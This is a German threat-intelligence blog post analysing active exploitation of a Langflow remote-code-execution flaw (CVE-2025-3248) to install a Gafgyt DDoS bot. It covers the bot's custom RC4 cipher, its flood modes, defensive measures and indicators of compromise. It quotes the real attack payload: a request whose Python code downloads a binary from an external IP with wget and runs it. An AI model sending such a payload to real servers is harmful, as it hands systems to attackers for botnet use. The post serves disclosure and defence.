Wichtige Erkenntnisse
Angreifer nutzen aktiv eine RCE-Schwachstelle (Remote Code Execution, Remote-Code-Ausführung) innerhalb des Codevalidierungs-API-Endpoints von Langflow, einem beliebten visuellen Framework für die Prototyperstellung von KI- und LLM-Anwendungen (Large Language Model).
Sobald sich Angreifer einmal Zugang zum Framework verschaffen haben, installiert der Exploit eine hochgradig angepasste Variante des langjährigen Gafgyt-DDoS-Bots (Distributed Denial-of-Service). Aus dieser spezifischen Payload wurden sekundäre Funktionen wie Cryptominer entfernt, um sich ausschließlich auf die Netzwerkflutung zu konzentrieren. Die C2-Kommunikation (Command and Control) wird hierbei mithilfe einer komplexen, modifizierten RC4-Stromchiffre verborgen, um standardmäßige automatisierte Decodierungstools zu umgehen.
Da die KI-Entwicklung in Unternehmen schnell voranschreitet, setzen Teams häufig experimentelle Tools wie Langflow in Produktions- oder Staging-Netzwerken ein – ohne angemessene Netzwerksegmentierung, Firewall-Schutz oder strenge Egress-Filterung. So entsteht eine vermeintlich vertrauenswürdige Umgebung, was dafür sorgt, dass schädlicher ausgehender C2-Traffic leicht die Unternehmensfilter umgehen kann.
Der Schutz der KI-Infrastruktur erfordert eine Rückkehr zu grundlegenden Sicherheitsprotokollen: das Patching von Fehlern in KI-Orchestratoren, die die Ausführung beliebigen Codes ermöglichen, die Implementierung strenger ausgehender Egress-Filter (z. B. die Blockierung nicht autorisierten Traffics über Port 1337), die Isolierung von Entwicklungsumgebungen über Web Application Firewalls (WAFs) und die Bereitstellung gezielter YARA-Signaturen.
Die Cybersicherheitswelt hat die letzten Jahre damit verbracht, sich um fortschrittliche KI-Bedrohungen zu sorgen, wie z. B. automatisierte Phishing-Angriffe, Deepfakes und autonome Malware. Doch Cyberkriminelle zeigen, dass ihre unmittelbaren Ziele deutlich pragmatischer sind. Sie wollen nicht nur KI manipulieren, sondern die zugrunde liegende Infrastruktur übernehmen, um klassische Cyberkriminalität in hohem Umfang zu betreiben.
Aktuelle Bedrohungsinformationen zeigen eine faszinierende Überschneidung zwischen moderner KI-Bereitstellung und klassischer Botnet-Architektur: Angreifer nutzen CVE-2025-3248 (eine RCE-Schwachstelle in Langflow) aktiv aus, um eine stark angepasste Variante des langjährigen Gafgyt/BASHLITE-DDoS-Bots zu installieren.
In diesem Blogbeitrag beschreibe ich, wie Angreifer CVE-2025-3248 aktiv ausnutzen, um moderne KI-Frameworks in Brute-Force-Netzwerkwaffen zu verwandeln.
Der erste Zugang: CVE-2025-3248
Langflow ist ein beliebtes visuelles Framework, das von Entwicklern zur Prototyperstellung und Entwicklung von KI- und LLM-Anwendungen genutzt wird. Da diese Anwendungen eine Möglichkeit erfordern, individuelle Logik zu testen und auszuführen, übernehmen bestimmte Endpoints die Codeausführung.
Angreifer haben diese Funktion gegen die Plattform eingesetzt. In der Praxis sehen wir die folgenden schädlichen Payloads, die auf die Codevalidierungs-API abzielen:
{
"code": "import os; os.system(\"wget -q -O /tmp/bot_x86_64 http://184.174.96.191:8088/bot.x86_64 && chmod +x /tmp/bot_x86_64 && /tmp/bot_x86_64\")"
}Anatomie des Exploits
Die Schwachstelle: Der Endpoint /api/v1/validate/code akzeptiert nicht vertrauenswürdige Python-Skripte und führt sie ohne ordnungsgemäßes Sandboxing auf dem Hostsystem aus.
Die Bereitstellung: Der injizierte Code verwendet standardmäßige Python-Bibliotheksfunktionen (os.system), um wget aufzurufen.
Der Abruf: Er lädt eine x86_64-Linux-Programmdatei von einem Remote-Staging-Server (184.174.96.191:8088) herunter, markiert sie als „ausführbar“ (chmod +x) und startet sie direkt über das flüchtige Verzeichnis /tmp.
Analyse: Die Gafgyt/BASHLITE-Variante
Ausführungs- und Umgehungsverhalten
Nach dem Start führt die Binärdatei eine Sequenz aus, die darauf ausgelegt ist, ihre Präsenz zu verbergen und ihre internen Engines vorzubereiten:
Der Fingerabdruck: Der Bot gibt ein höhnisches ASCII-Banner an stdout aus: come at me krebs rimasuta go BRRT („Los, komm doch, Krebs. rimasuta macht ‚BRRT‘“). Diese Nachricht verweist auf den prominenten Sicherheitsjournalisten Brian Krebs und den Angreifer-Handle rimasuta.
Daemon-Prozess: Er ruft sofort clone() auf, um sich aufzuteilen und einen untergeordneten Prozess zu erstellen, während der übergeordnete Prozess beendet wird. Anschließend schließt er die Standard-Eingabe, -Ausgabe und die -Fehlerdeskriptoren (stdio) und löst sich vollständig vom Terminal, um unbemerkt im Hintergrund ausgeführt zu werden.
Reine Aggression: Die Binärdatei enthält keine Cryptominer, keine Persistenzmechanismen und keine Scanner für laterale Netzwerkbewegung. Der gesamte Ausführungspfad ist auf eine einzige Aufgabe optimiert: das Netzwerk fluten.
Nutzerdefinierte Chiffre und C2-Protokoll
Diese Variante implementiert eine ausgefeilte, mehrphasige modifizierte RC4-Stromchiffre, um die C2-Kommunikation zu schützen. Das Verschlüsselungsschema weicht auf drei verschiedene Arten von der Standard-RC4-Verschlüsselung ab, um standardmäßige automatisierte Decodierungstools zu umgehen:
Nicht standardmäßiger S-Box-Seed: Anstatt die S-Box linear zu initialisieren, füllt das Verschlüsselungsschema sie mit einer nutzerdefinierten arithmetischen Sequenz: $S[i] = (0x0D + i \times 0xA7) \pmod{256}$.
Zweiphasiger KSA-Algorithmus (Key-Scheduling Algorithm): Der Bot verwendet festcodierte 32-Bit-Schlüssel (0xDEADBEEF, 0xCAFEBABE usw.), um die S-Box zu mutieren, gefolgt von fünf intensiven Durchgängen eines klassischen linearen Borland-Kongruenzgenerators (Linear Congruential Generator, LCG).
Modifizierter PRGA-Algorithmus (Pseudo-Random Generation Algorithm): Die Keystream-Bytes werden weiter verschlüsselt, indem ein sich verschiebender fortlaufender Zähler sowie bitweise Vorgänge (ROL und SHR) verwendet werden.
Angriffsfunktionen
Der Bot verfügt über vier verschiedene Ausführungspfade, die direkt sendto-Systemaufrufen zugeordnet sind und vier klassischen DoS-Angriffsvektoren (Denial of Service) entsprechen:
Zustand | Angriffsvektor | Technischer Mechanismus |
|---|---|---|
0x01 | UDP-Flood | Rohe sendto-Schleifen, die umfangreiche UDP-Datagramme ausgeben |
0x02 | TCP-Flood | Verbindung und SYN/ACK-Paket-Spamming |
0x03 | HOLD-Flood | Überlastung der Keep-alive-Verbindung, die auf Webserver abzielt |
0x04 | Junk-/STD-Flood | UDP-Floods mit zufälliger Payload, um Ziel-Zustandstabellen zu überlasten |
Strategische Risiken für die KI-Infrastruktur
Es ist verlockend, KI-Anwendungen als spezialisierte Umgebungen zu betrachten, die vom Rest des IT-Stacks isoliert sind – doch für Cyberkriminelle sind sie ein beliebter Angriffsvektor. Denn die Übernahme eines KI-Servers für ein Botnet bietet verschiedene Vorteile:
Massive Rechenleistung und Bandbreite: KI-Workloads werden fast immer in leistungsstarken Cloud-Instanzen oder auf leistungsstarken Unternehmensservern gehostet. Diese Maschinen verfügen über die enorme Netzwerkbandbreite, die für verheerende DDoS-Angriffe erforderlich ist.
Die Schatten-IT-Schwachstelle: Angesichts des hohen Tempos der KI-Entwicklung integrieren Teams häufig experimentelle Plattformen wie Langflow in Produktions- oder Staging-Umgebungen – ohne angemessene Netzwerksegmentierung, Schwachstellenmanagement oder Firewall-Schutz.
Vermeintlich vertrauenswürdige Umgebungen: Die Cloud-Infrastruktur von Unternehmen verfügt häufig über umfassendere externe Netzwerkberechtigungen, sodass ausgehender C2-Datenverkehr die Standard-Egress-Filter umgehen kann.
Verteidigung und Behebung
Wenn Ihr Team Langflow oder ähnliche visuelle KI-Orchestratoren verwendet, wird eine sofortige Anpassung der Verteidigung dringend empfohlen.
Patch und Upgrade: Aktualisieren Sie Ihre Langflow-Bereitstellungen auf Versionen, die Fehler in den Codevalidierungs-APIs beheben, die die Ausführung beliebigen Codes ermöglichen.
Implementierung strenger Egress-Filter: Umgebungen für KI-Training und -Prototyperstellung erfordern selten ungehinderten ausgehenden TCP-Zugriff auf beliebige öffentliche IP-Adressen. Blockieren Sie also ausgehende Verbindungen über ungewöhnliche Ports wie 1337.
Netzwerkisolierung: Behandeln Sie KI-Entwicklungsumgebungen als nicht vertrauenswürdige Netzwerke. Nutzen Sie Segmentierung, um sie streng von primären Unternehmensumgebungen zu trennen, und beschränken Sie den öffentlichen Internetzugriff über WAFs.
Bereitstellung von YARA-Signaturen: Überwachen Sie Systembinärdateien und flüchtige Verzeichnisse für die einzigartigen kryptografischen S-Box-Seed-Bytes dieses Angreifers: 0d b4 5b 02 a9 50 f7 9e.
Fazit
Die Ausnutzung von CVE-2025-3248 sollte uns alle daran erinnern, dass sich die Sicherheitslandschaft nicht nur weiterentwickelt, sondern grundlegend verändert. Während wir leistungsstarke KI-Frameworks wie Langflow schnell in unsere Unternehmensstacks integrieren, müssen wir der Versuchung widerstehen, diese Plattformen als isolierte oder spezialisierte Umgebungen zu betrachten. Cyberkriminelle sind sich der potenziellen Rechenleistung und Bandbreite in diesen Umgebungen äußerst bewusst und nutzen sie mit denselben bewährten Methoden aus, die bereits seit Jahrzehnten für Botnets eingesetzt werden.
Der Schutz der KI-Infrastruktur erfordert eine Rückkehr zur grundlegenden Sicherheitshygiene: zuverlässige Netzwerksegmentierung, strenge Egress-Filterung und ein aufmerksames Patch-Management. Im Wettlauf um die Entwicklung der nächsten Generation von KI-Anwendungen können wir es uns nicht leisten, die Tür für die Cyberkriminalität der Vergangenheit offen zu lassen.
Technischer Anhang: IOCs und Verteidigung
Datei- und System-Hashes
SHA256: e00d92ca28a2cfd75e96f71fc0408747f04942657fcab0f2a25ce79bc3ad23a8
ELF-Build-ID (SHA1): 523ae28b0833f9a68f4264d16c803ca5fdc771b9
Netzwerkindikatoren
C2-Server-IP: 184.174.96.191
Malware-Staging-Port: 8088/TCP (HTTP-Download)
C2-Befehlsport: 1337/TCP (verschlüsselter Traffic)
Hostsignaturen
Ausgehende Verbindungen zu externen IPs über Port 1337
Nicht erkannte Prozesse, die über /tmp ausgeführt werden und die Standard-Dateideskriptoren sofort schließen
Die Zeichenfolge come at me krebs rimasuta go BRRT in Standard-Ausgabeprotokollen oder Speicherzeichenfolgen
Tags
